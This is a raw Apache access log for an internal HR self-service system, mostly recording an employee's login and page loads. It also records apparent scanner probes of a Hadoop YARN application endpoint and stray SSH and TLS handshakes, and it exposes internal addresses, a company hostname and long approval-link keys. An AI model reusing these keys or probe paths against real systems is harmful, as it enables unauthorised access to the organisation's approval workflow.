192.168.11.136 - - [05/Sep/2025:10:35:35 +0800] "GET /eHR/img/img1.jpg HTTP/1.1" 200 33358
192.168.11.136 - - [05/Sep/2025:10:35:35 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_glass_85_dfeffc_1x400.png HTTP/1.1" 200 123
192.168.11.136 - - [05/Sep/2025:10:35:35 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_glass_85_dfeffc_1x400.png HTTP/1.1" 200 123 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [05/Sep/2025:10:35:36 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_glass_75_d0e5f5_1x400.png HTTP/1.1" 200 124
192.168.11.136 - - [05/Sep/2025:10:35:36 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_glass_75_d0e5f5_1x400.png HTTP/1.1" 200 124 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [05/Sep/2025:10:35:37 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_f5f8f9_1x100.png HTTP/1.1" 200 104 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [05/Sep/2025:10:35:37 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_f5f8f9_1x100.png HTTP/1.1" 200 104
192.168.11.136 - - [05/Sep/2025:10:35:37 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [05/Sep/2025:10:35:37 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 -
192.168.11.136 - - [05/Sep/2025:10:35:42 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8926
192.168.11.136 - - [05/Sep/2025:10:35:42 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8926 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [05/Sep/2025:10:35:43 +0800] "GET /eHR/img/icon_obj.png HTTP/1.1" 200 3270
192.168.11.136 - - [05/Sep/2025:10:35:43 +0800] "GET /eHR/img/icon_obj.png HTTP/1.1" 200 3270 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [05/Sep/2025:10:35:43 +0800] "GET /eHR/img/icon_jd.png HTTP/1.1" 200 3186
192.168.11.136 - - [05/Sep/2025:10:35:43 +0800] "GET /eHR/img/icon_jd.png HTTP/1.1" 200 3186 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [05/Sep/2025:10:35:43 +0800] "GET /eHR/img/icon_about.png HTTP/1.1" 200 3493 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [05/Sep/2025:10:35:43 +0800] "GET /eHR/img/icon_about.png HTTP/1.1" 200 3493
192.168.11.136 - - [05/Sep/2025:10:35:43 +0800] "GET /eHR/img/icon_help.png HTTP/1.1" 200 3588 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [05/Sep/2025:10:35:43 +0800] "GET /eHR/img/icon_help.png HTTP/1.1" 200 3588
192.168.11.136 - - [05/Sep/2025:10:35:43 +0800] "GET /eHR/img/icon_exit.png HTTP/1.1" 200 3607 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [05/Sep/2025:10:35:43 +0800] "GET /eHR/img/icon_exit.png HTTP/1.1" 200 3607
192.168.11.136 - - [05/Sep/2025:10:35:43 +0800] "GET /eHR/img/ess-logo.png HTTP/1.1" 200 9030
192.168.11.136 - - [05/Sep/2025:10:35:43 +0800] "GET /eHR/img/ess-logo.png HTTP/1.1" 200 9030 "http://192.168.1.83:8088/eHR/css/layout/layout.min.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [05/Sep/2025:10:35:43 +0800] "GET /eHR/img/human.png HTTP/1.1" 200 26107
192.168.11.136 - - [05/Sep/2025:10:35:43 +0800] "GET /eHR/img/human.png HTTP/1.1" 200 26107 "http://192.168.1.83:8088/eHR/css/layout/layout.min.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [05/Sep/2025:10:35:43 +0800] "GET /eHR/img/Person.png HTTP/1.1" 200 960 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [05/Sep/2025:10:35:43 +0800] "GET /eHR/img/Person.png HTTP/1.1" 200 960
192.168.11.136 - - [05/Sep/2025:10:35:43 +0800] "GET /eHR/img/layout/toggle-lt.gif HTTP/1.1" 200 871
192.168.11.136 - - [05/Sep/2025:10:35:43 +0800] "GET /eHR/img/layout/toggle-lt.gif HTTP/1.1" 200 871 "http://192.168.1.83:8088/eHR/css/layout/layout.min.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [05/Sep/2025:10:35:43 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_6da8d5_256x240.png HTTP/1.1" 200 4369 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [05/Sep/2025:10:35:43 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_6da8d5_256x240.png HTTP/1.1" 200 4369
192.168.11.136 - - [05/Sep/2025:10:35:43 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_fcfdfd_1x100.png HTTP/1.1" 200 88 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [05/Sep/2025:10:35:43 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_fcfdfd_1x100.png HTTP/1.1" 200 88
192.168.11.136 - - [05/Sep/2025:10:35:44 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_217bc0_256x240.png HTTP/1.1" 200 4369
192.168.11.136 - - [05/Sep/2025:10:35:44 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_217bc0_256x240.png HTTP/1.1" 200 4369 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [05/Sep/2025:10:35:43 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10037
192.168.11.136 - - [05/Sep/2025:10:35:43 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10037 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [05/Sep/2025:10:35:45 +0800] "GET /eHR/js/i18n/ui.datepicker-zh-CN.min.js HTTP/1.1" 200 697 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [05/Sep/2025:10:35:45 +0800] "GET /eHR/js/i18n/ui.datepicker-zh-CN.min.js HTTP/1.1" 200 697
192.168.11.136 - - [05/Sep/2025:10:35:50 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_f9bd01_256x240.png HTTP/1.1" 200 4369
192.168.11.136 - - [05/Sep/2025:10:35:50 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_f9bd01_256x240.png HTTP/1.1" 200 4369 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [05/Sep/2025:10:35:51 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [05/Sep/2025:10:35:51 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271
192.168.11.136 - - [05/Sep/2025:10:35:53 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_gloss-wave_55_5c9ccc_500x100.png HTTP/1.1" 200 3457
192.168.11.136 - - [05/Sep/2025:10:35:53 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_gloss-wave_55_5c9ccc_500x100.png HTTP/1.1" 200 3457 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [05/Sep/2025:10:35:53 +0800] "GET /eHR/img/date.png HTTP/1.1" 200 626
192.168.11.136 - - [05/Sep/2025:10:35:53 +0800] "GET /eHR/img/date.png HTTP/1.1" 200 626 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [05/Sep/2025:10:35:53 +0800] "GET /eHR/img/layout/resizable-w.gif HTTP/1.1" 200 368
192.168.11.136 - - [05/Sep/2025:10:35:53 +0800] "GET /eHR/img/layout/resizable-w.gif HTTP/1.1" 200 368 "http://192.168.1.83:8088/eHR/css/layout/layout.min.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [05/Sep/2025:10:35:57 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 8395 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [05/Sep/2025:10:35:57 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 8395
192.168.11.136 - - [05/Sep/2025:10:36:04 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_d8e7f3_256x240.png HTTP/1.1" 200 4369
192.168.11.136 - - [05/Sep/2025:10:36:04 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_d8e7f3_256x240.png HTTP/1.1" 200 4369 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [05/Sep/2025:10:36:04 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_flat_55_fbec88_40x100.png HTTP/1.1" 200 182
192.168.11.136 - - [05/Sep/2025:10:36:04 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_flat_55_fbec88_40x100.png HTTP/1.1" 200 182 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [05/Sep/2025:10:36:13 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 12294
192.168.11.136 - - [05/Sep/2025:10:36:13 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 12294 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [05/Sep/2025:10:36:14 +0800] "GET /eHR/img/pe.png HTTP/1.1" 200 1268 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [05/Sep/2025:10:36:14 +0800] "GET /eHR/img/pe.png HTTP/1.1" 200 1268
100.64.0.1 - - [05/Sep/2025:10:36:21 +0800] "POST /ws/v1/cluster/apps/new-application HTTP/1.1" 404 232
100.64.0.1 - - [05/Sep/2025:10:36:21 +0800] "POST /ws/v1/cluster/apps/new-application HTTP/1.1" 404 232 "-" "Go-http-client/1.1"
100.64.0.1 - - [05/Sep/2025:10:36:36 +0800] "SSH-2.0-Go" 501 212
100.64.0.1 - - [05/Sep/2025:10:36:36 +0800] "SSH-2.0-Go" 501 212 "-" "-"
192.168.11.136 - - [05/Sep/2025:10:36:43 +0800] "POST /eHR/ess/redirect.php?scriptname=view_flowchart&action=viewflowchart&apply_type=absence&flow_seqno=116443 HTTP/1.1" 200 5974 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [05/Sep/2025:10:36:43 +0800] "POST /eHR/ess/redirect.php?scriptname=view_flowchart&action=viewflowchart&apply_type=absence&flow_seqno=116443 HTTP/1.1" 200 5974
192.168.11.136 - - [05/Sep/2025:10:36:45 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_flat_0_aaaaaa_40x100.png HTTP/1.1" 200 180
192.168.11.136 - - [05/Sep/2025:10:36:45 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_flat_0_aaaaaa_40x100.png HTTP/1.1" 200 180 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [05/Sep/2025:10:36:45 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_469bdd_256x240.png HTTP/1.1" 200 4369
192.168.11.136 - - [05/Sep/2025:10:36:45 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_469bdd_256x240.png HTTP/1.1" 200 4369 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [05/Sep/2025:10:36:45 +0800] "GET /eHR/img/workflow/start.png HTTP/1.1" 200 2344
192.168.11.136 - - [05/Sep/2025:10:36:45 +0800] "GET /eHR/img/workflow/start.png HTTP/1.1" 200 2344 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [05/Sep/2025:10:36:45 +0800] "GET /eHR/img/workflow/process.png HTTP/1.1" 200 2728
192.168.11.136 - - [05/Sep/2025:10:36:45 +0800] "GET /eHR/img/workflow/process.png HTTP/1.1" 200 2728 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [05/Sep/2025:10:36:45 +0800] "GET /eHR/img/workflow/user_sign_approve_key.png HTTP/1.1" 200 3099 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [05/Sep/2025:10:36:45 +0800] "GET /eHR/img/workflow/user_sign_approve_key.png HTTP/1.1" 200 3099
192.168.11.136 - - [05/Sep/2025:10:36:45 +0800] "GET /eHR/img/workflow/end_approve.png HTTP/1.1" 200 2362 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [05/Sep/2025:10:36:45 +0800] "GET /eHR/img/workflow/end_approve.png HTTP/1.1" 200 2362
192.168.11.136 - - [05/Sep/2025:10:36:44 +0800] "POST /eHR/ess/redirect.php?scriptname=view_flowchart&action=viewflowchart&apply_type=absence&flow_seqno=116443 HTTP/1.1" 200 5974
192.168.11.136 - - [05/Sep/2025:10:36:44 +0800] "POST /eHR/ess/redirect.php?scriptname=view_flowchart&action=viewflowchart&apply_type=absence&flow_seqno=116443 HTTP/1.1" 200 5974 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [05/Sep/2025:10:36:44 +0800] "POST /eHR/ess/redirect.php?scriptname=view_flowchart&action=viewflowchart&apply_type=absence&flow_seqno=116443 HTTP/1.1" 200 5974
192.168.11.136 - - [05/Sep/2025:10:36:44 +0800] "POST /eHR/ess/redirect.php?scriptname=view_flowchart&action=viewflowchart&apply_type=absence&flow_seqno=116443 HTTP/1.1" 200 5974 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
100.64.0.1 - - [05/Sep/2025:10:36:59 +0800] "SSH-2.0-Go" 501 212
100.64.0.1 - - [05/Sep/2025:10:36:59 +0800] "SSH-2.0-Go" 501 212 "-" "-"
100.64.0.1 - - [05/Sep/2025:10:38:03 +0800] "\x16\x03\x01" 501 205
100.64.0.1 - - [05/Sep/2025:10:38:03 +0800] "\x16\x03\x01" 501 205 "-" "-"
100.64.0.1 - - [05/Sep/2025:10:38:27 +0800] "\x16\x03\x01" 501 205
100.64.0.1 - - [05/Sep/2025:10:38:27 +0800] "\x16\x03\x01" 501 205 "-" "-"
100.64.0.1 - - [05/Sep/2025:10:43:17 +0800] "GET /robots.txt HTTP/1.1" 404 208
100.64.0.1 - - [05/Sep/2025:10:43:17 +0800] "GET /robots.txt HTTP/1.1" 404 208 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
100.64.0.1 - - [05/Sep/2025:10:47:47 +0800] "HEAD /ehr/mgr/approve.php?key=096786FC1A6E1BA172A34B897767CB82F2A10AFD554F4BDFE3899A6DAC59EB785E3C7C0566324707AB8949040DFFBCBB53BBCEB5281B79B216E16F63DC676167 HTTP/1.1" 200 - "-" "-"
100.64.0.1 - - [05/Sep/2025:10:47:47 +0800] "HEAD /ehr/mgr/approve.php?key=096786FC1A6E1BA172A34B897767CB82F2A10AFD554F4BDFE3899A6DAC59EB785E3C7C0566324707AB8949040DFFBCBB53BBCEB5281B79B216E16F63DC676167 HTTP/1.1" 200 -
192.168.185.139 - - [05/Sep/2025:10:47:49 +0800] "GET /ehr/mgr/approve.php?key=096786FC1A6E1BA172A34B897767CB82F2A10AFD554F4BDFE3899A6DAC59EB785E3C7C0566324707AB8949040DFFBCBB53BBCEB5281B79B216E16F63DC676167 HTTP/1.1" 200 4163
192.168.185.139 - - [05/Sep/2025:10:47:49 +0800] "GET /ehr/mgr/approve.php?key=096786FC1A6E1BA172A34B897767CB82F2A10AFD554F4BDFE3899A6DAC59EB785E3C7C0566324707AB8949040DFFBCBB53BBCEB5281B79B216E16F63DC676167 HTTP/1.1" 200 4163 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.185.139 - - [05/Sep/2025:10:47:49 +0800] "GET /ehr/css/jqueryui/themes//jquery.ui.all.css HTTP/1.1" 404 240
192.168.185.139 - - [05/Sep/2025:10:47:49 +0800] "GET /ehr/css/jqueryui/themes//jquery.ui.all.css HTTP/1.1" 404 240 "http://hcp.maglayers.com.cn:8088/ehr/mgr/approve.php?key=096786FC1A6E1BA172A34B897767CB82F2A10AFD554F4BDFE3899A6DAC59EB785E3C7C0566324707AB8949040DFFBCBB53BBCEB5281B79B216E16F63DC676167" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
100.64.0.1 - - [05/Sep/2025:10:48:04 +0800] "HEAD /ehr/mgr/approve.php?key=096786FC1A6E1BA1DDB121BD700DA98B6A2FF5D19B2A6389595D0A19FBAC5A13F3ECBF3232B7135303B6AD5B6D792017AD1EEE5DC673E2C62FD46EFA037E4DAF HTTP/1.1" 200 - "-" "-"
100.64.0.1 - - [05/Sep/2025:10:48:04 +0800] "HEAD /ehr/mgr/approve.php?key=096786FC1A6E1BA1DDB121BD700DA98B6A2FF5D19B2A6389595D0A19FBAC5A13F3ECBF3232B7135303B6AD5B6D792017AD1EEE5DC673E2C62FD46EFA037E4DAF HTTP/1.1" 200 -
192.168.185.139 - - [05/Sep/2025:10:48:05 +0800] "GET /ehr/mgr/approve.php?key=096786FC1A6E1BA1DDB121BD700DA98B6A2FF5D19B2A6389595D0A19FBAC5A13F3ECBF3232B7135303B6AD5B6D792017AD1EEE5DC673E2C62FD46EFA037E4DAF HTTP/1.1" 200 4163
192.168.185.139 - - [05/Sep/2025:10:48:05 +0800] "GET /ehr/mgr/approve.php?key=096786FC1A6E1BA1DDB121BD700DA98B6A2FF5D19B2A6389595D0A19FBAC5A13F3ECBF3232B7135303B6AD5B6D792017AD1EEE5DC673E2C62FD46EFA037E4DAF HTTP/1.1" 200 4163 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.185.139 - - [05/Sep/2025:10:48:05 +0800] "GET /ehr/css/jqueryui/themes//jquery.ui.all.css HTTP/1.1" 404 240
192.168.185.139 - - [05/Sep/2025:10:48:05 +0800] "GET /ehr/css/jqueryui/themes//jquery.ui.all.css HTTP/1.1" 404 240 "http://hcp.maglayers.com.cn:8088/ehr/mgr/approve.php?key=096786FC1A6E1BA1DDB121BD700DA98B6A2FF5D19B2A6389595D0A19FBAC5A13F3ECBF3232B7135303B6AD5B6D792017AD1EEE5DC673E2C62FD46EFA037E4DAF" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
100.64.0.1 - - [05/Sep/2025:10:48:25 +0800] "HEAD /ehr/mgr/approve.php?key=096786FC1A6E1BA1D7E2B4CAE1B5A7966DCD6F8113AA2E0E1950B94DE91ECF12437DCEC277F6DD31C5A32D14AB4818ACCB9EA6987C034BE908BBBF949785B3BB HTTP/1.1" 200 - "-" "-"
100.64.0.1 - - [05/Sep/2025:10:48:25 +0800] "HEAD /ehr/mgr/approve.php?key=096786FC1A6E1BA1D7E2B4CAE1B5A7966DCD6F8113AA2E0E1950B94DE91ECF12437DCEC277F6DD31C5A32D14AB4818ACCB9EA6987C034BE908BBBF949785B3BB HTTP/1.1" 200 -
192.168.185.139 - - [05/Sep/2025:10:48:26 +0800] "GET /ehr/mgr/approve.php?key=096786FC1A6E1BA1D7E2B4CAE1B5A7966DCD6F8113AA2E0E1950B94DE91ECF12437DCEC277F6DD31C5A32D14AB4818ACCB9EA6987C034BE908BBBF949785B3BB HTTP/1.1" 200 4163
192.168.185.139 - - [05/Sep/2025:10:48:26 +0800] "GET /ehr/mgr/approve.php?key=096786FC1A6E1BA1D7E2B4CAE1B5A7966DCD6F8113AA2E0E1950B94DE91ECF12437DCEC277F6DD31C5A32D14AB4818ACCB9EA6987C034BE908BBBF949785B3BB HTTP/1.1" 200 4163 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.185.139 - - [05/Sep/2025:10:48:26 +0800] "GET /ehr/css/jqueryui/themes//jquery.ui.all.css HTTP/1.1" 404 240
192.168.185.139 - - [05/Sep/2025:10:48:26 +0800] "GET /ehr/css/jqueryui/themes//jquery.ui.all.css HTTP/1.1" 404 240 "http://hcp.maglayers.com.cn:8088/ehr/mgr/approve.php?key=096786FC1A6E1BA1D7E2B4CAE1B5A7966DCD6F8113AA2E0E1950B94DE91ECF12437DCEC277F6DD31C5A32D14AB4818ACCB9EA6987C034BE908BBBF949785B3BB" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
100.64.0.1 - - [05/Sep/2025:10:48:40 +0800] "HEAD /ehr/mgr/approve.php?key=096786FC1A6E1BA1D7E2B4CAE1B5A7966DCD6F8113AA2E0E1F1389FEB2279DC9986F21DC2DD7E04C3D624E6430E57C30DB6D0803442DA46C3A1EC3B4F9769FDC HTTP/1.1" 200 - "-" "-"
100.64.0.1 - - [05/Sep/2025:10:48:40 +0800] "HEAD /ehr/mgr/approve.php?key=096786FC1A6E1BA1D7E2B4CAE1B5A7966DCD6F8113AA2E0E1F1389FEB2279DC9986F21DC2DD7E04C3D624E6430E57C30DB6D0803442DA46C3A1EC3B4F9769FDC HTTP/1.1" 200 -
192.168.185.139 - - [05/Sep/2025:10:48:41 +0800] "GET /ehr/mgr/approve.php?key=096786FC1A6E1BA1D7E2B4CAE1B5A7966DCD6F8113AA2E0E1F1389FEB2279DC9986F21DC2DD7E04C3D624E6430E57C30DB6D0803442DA46C3A1EC3B4F9769FDC HTTP/1.1" 200 4163
192.168.185.139 - - [05/Sep/2025:10:48:41 +0800] "GET /ehr/mgr/approve.php?key=096786FC1A6E1BA1D7E2B4CAE1B5A7966DCD6F8113AA2E0E1F1389FEB2279DC9986F21DC2DD7E04C3D624E6430E57C30DB6D0803442DA46C3A1EC3B4F9769FDC HTTP/1.1" 200 4163 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.185.139 - - [05/Sep/2025:10:48:41 +0800] "GET /ehr/css/jqueryui/themes//jquery.ui.all.css HTTP/1.1" 404 240
192.168.185.139 - - [05/Sep/2025:10:48:41 +0800] "GET /ehr/css/jqueryui/themes//jquery.ui.all.css HTTP/1.1" 404 240 "http://hcp.maglayers.com.cn:8088/ehr/mgr/approve.php?key=096786FC1A6E1BA1D7E2B4CAE1B5A7966DCD6F8113AA2E0E1F1389FEB2279DC9986F21DC2DD7E04C3D624E6430E57C30DB6D0803442DA46C3A1EC3B4F9769FDC" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
100.64.0.1 - - [05/Sep/2025:10:48:52 +0800] "HEAD /ehr/mgr/approve.php?key=096786FC1A6E1BA17B86B369E6446B9D088B423C250AA7B1A90B1975EF90D196309F62B3DA2626BAE3EA431532884363465E12B67C61898032A8B93856E16D3F HTTP/1.1" 200 - "-" "-"
